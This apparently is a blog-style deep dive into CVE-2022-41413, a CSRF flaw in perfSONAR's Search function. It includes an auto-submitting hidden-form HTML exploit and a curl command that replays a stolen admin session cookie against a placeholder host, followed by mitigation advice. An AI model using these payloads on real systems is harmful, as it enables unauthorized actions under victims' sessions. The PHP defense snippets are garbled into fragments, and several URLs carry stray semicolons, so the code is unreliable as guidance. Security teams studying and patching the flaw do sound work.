CVE-2022-41413 - Deep Dive Into perfSONAR CSRF Vulnerability and How It Can Be Exploited
In late 2022, a critical Cross-Site Request Forgery (CSRF) vulnerability was discovered in perfSONAR, an open source network measurement toolkit widely adopted by education and research networks. The vulnerability, tracked as CVE-2022-41413, exists in all versions of perfSONAR v4.x up to and including v4.4.5. It is triggered when crafted input is injected into the *Search* function, allowing attackers to execute unauthorized actions without the consent or knowledge of logged-in users.
In this long read, we’ll break down how the vulnerability works, show practical exploit details, and provide simple code snippets for demonstration and defense.
What is CSRF?
Cross-Site Request Forgery (CSRF) is a web security bug that lets attackers trick a browser into making unwanted requests on behalf of a logged-in user. If you’re authenticated to a web service and visit a malicious website, that site may be able to send commands (like change your email or password) to the original website without your approval.
What’s Vulnerable in perfSONAR?
The affected component is perfSONAR’s *Search* function. The endpoint did not validate user requests to ensure they actually came from the legitimate interface—it skipped the necessary CSRF token checks.
In practice:
- If you were logged into perfSONAR as an admin and visited a malicious website, an attacker could execute actions using *your* session—such as altering search data or backend settings.
The official NVD listing:
> perfSONAR v4.x through v4.4.5 contains a CSRF vulnerability via the Search function that can allow attackers to perform actions on behalf of authenticated users by sending crafted requests. (NVD Reference)
Victim visits a malicious site
The attacker convinces the admin to click a link, open an email, etc. This site contains the attacker’s CSRF exploit code.
Malicious request sent in the background
The attacker’s site sends a hidden POST or GET request to the vulnerable “Search” endpoint in perfSONAR, using the victim’s browser and session cookie.
PerfSONAR processes the request
Because there’s no CSRF protection, the backend accepts the request as legit and executes the attacker’s input within admin privileges.
Example Exploit: CSRF HTML Snippet
Here is a minimal example attack. Suppose the vulnerable endpoint is /search and expects a query parameter:
<!-- Attacker's malicious page -->
<html>
<body>
<form action="https://perfsonar.example.com/search"; method="POST" id="csrfForm">
<input type="hidden" name="query" value="malicious injection data">
</form>
<script>
// Automatically submit the form when the page loads
document.getElementById('csrfForm').submit();
</script>
</body>
</html>
If the logged-in admin visits this page, the browser automatically submits the hidden form to perfSONAR with whatever parameters the attacker wants.
If the “Search” endpoint allows further impact (such as logging, overwriting files, or triggering backend commands), the consequences can escalate.
Proof-of-Concept With curl
If you’ve captured the admin’s session cookie (through another vulnerability or XSS), you can also perform the attack using curl:
curl -b "Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
-X POST "https://perfsonar.example.com/search"; \
-d "query=malicious injection data"
The devs have released patches in v4.4.6 and up.
Implement CSRF tokens
All forms and sensitive endpoints should require a random, user-specific token in each request, validated server-side.
`php
// On form render
`php
// On form submit
die('CSRF FAILED!');
}
References
- CVE-2022-41413 at NVD
- perfSONAR project GitHub
- How to prevent CSRF
- CSRF explanation for beginners
Summary
CVE-2022-41413 showcases the continued real-world risks of CSRF vulnerabilities, especially in powerful network management tools like perfSONAR. If your environment uses any v4.x up to 4.4.5, patch immediately—or risk an attacker manipulating your system via malicious web requests. Even outside perfSONAR, check any web interface you operate for similar missing protections.
Always keep your software up to date, and happy (safe) measuring!
Timeline
Published on: 11/30/2022 05:15:00 UTC
Last modified on: 04/03/2023 20:15:00 UTC